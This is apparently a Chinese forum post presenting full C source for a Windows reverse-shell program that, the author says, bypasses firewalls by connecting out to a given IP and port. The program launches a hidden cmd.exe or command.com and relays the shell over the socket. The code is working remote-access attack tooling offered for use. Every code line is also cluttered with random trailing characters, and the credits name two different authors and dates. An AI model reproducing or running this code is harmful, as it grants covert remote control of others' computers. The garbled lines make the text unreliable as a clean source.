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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /60=N `i  
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/* ============================== KPK!'4,cu  
Rebound port in Windows NT 3om7LqcRo  
By wind,2006/7 biuo.OG]  
===============================*/ YS6az0ie  
#include MA QY/s~F  
#include ^Rh~+  
:D7!6}%  
#pragma comment(lib,"wsock32.lib") DO*C]   
0([jD25J!  
void OutputShell(); ))zaL2UP.  
SOCKET sClient; un%"s:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7E t(p'  
?n~j2-[<  
void main(int argc,char **argv) 6@36 1f[  
{ u01^ABn  
WSADATA stWsaData; jYx(  
int nRet; /R?uxhV  
SOCKADDR_IN stSaiClient,stSaiServer; :H k4i%hGk  
=?x=CEW  
if(argc != 3) \M^4DdAy  
{ _Xe< JJvq  
printf("Useage:\n\rRebound DestIP DestPort\n"); >sY+Y22U  
return; 6<O]_HZ&  
} %-1-J<<J q  
$VNn`0^gF  
WSAStartup(MAKEWORD(2,2),&stWsaData); v Cr$miZ  
f4^_FK&  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `{;&Qcg6m  
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stSaiClient.sin_family = AF_INET; `2+52q<FO  
stSaiClient.sin_port = htons(0); l0o_C#"<S  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <\ c8q3N  
\Fjq|3`<l  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S'fq/`2g6  
{ Unk+@$E&  
printf("Bind Socket Failed!\n"); &?pAt30K:  
return; bm|8Jbsb&  
} qa#F}aGd  
1@Gv`{v  
stSaiServer.sin_family = AF_INET; x/v+7Pt_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2?&ptN) `N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); KL{ uhb0f  
&WS%sE{p_  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lsf?R'1  
{ eu/Sp3@v  
printf("Connect Error!"); -I<`!kH*  
return; o?\Pw9Y  
} l^Z~^.{y  
OutputShell(); oDK\v8w-  
} 7qp|Msf},  
6YbSzx` ?k  
void OutputShell() I>|?B( F  
{ `_kRvpi  
char szBuff[1024]; 5T*7HC[  
SECURITY_ATTRIBUTES stSecurityAttributes; pm|]GkM  
OSVERSIONINFO stOsversionInfo; 3j#F'M)s{  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <Z_`^~!  
STARTUPINFO stStartupInfo; xJlq2cK  
char *szShell; '!GI:U+g  
PROCESS_INFORMATION stProcessInformation; [Y+ bW#'  
unsigned long lBytesRead; W;yZ$k#q}(  
;B@l0)7(x  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @[lr F7`o  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); n`1i k'x?  
stSecurityAttributes.lpSecurityDescriptor = 0; *8+YR  
stSecurityAttributes.bInheritHandle = TRUE; ru Lcu]  
21Opx~T3  
/GNYv*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); efm<bJB2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0cVXUTJ|W  
J(GLPCO$K  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); l1-FL-1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s"Wdbw(O'  
stStartupInfo.wShowWindow = SW_HIDE; jiDYPYx;I  
stStartupInfo.hStdInput = hReadPipe; F[Up  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; /vKDlCH*  
sIe(;%[`  
GetVersionEx(&stOsversionInfo); $Vh82Id^  
':@qE\(  
switch(stOsversionInfo.dwPlatformId) UNae&Zir  
{ XFYl[?`G  
case 1: X8TZePh  
szShell = "command.com"; [0emOS  
break; 75ob1h"  
default: 4kEFbzwx  
szShell = "cmd.exe"; otx7J\4  
break; L|Iq#QX|  
} d)HK9T|B  
#(G&%I A|;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^TGHWCK!t  
lw{|~m5`  
send(sClient,szMsg,77,0); D\JYa@*?.h  
while(1) TUt)]"h<  
{ C_/oORvK  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a6OT2B  
if(lBytesRead) A |B](MW%O  
{ 1d6pQ9 N  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |ouk;r24V  
send(sClient,szBuff,lBytesRead,0); ,\ i q'}i  
} TgLlmU*qMU  
else E'}$'n?:  
{ .[! ^ L  
lBytesRead=recv(sClient,szBuff,1024,0); 6=k^gH[g  
if(lBytesRead<=0) break; OWzIea@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %K4-V5f  
} iD~s,  
} IYFA>*Es  
FdD'Hp+  
return; L $~Id  
}
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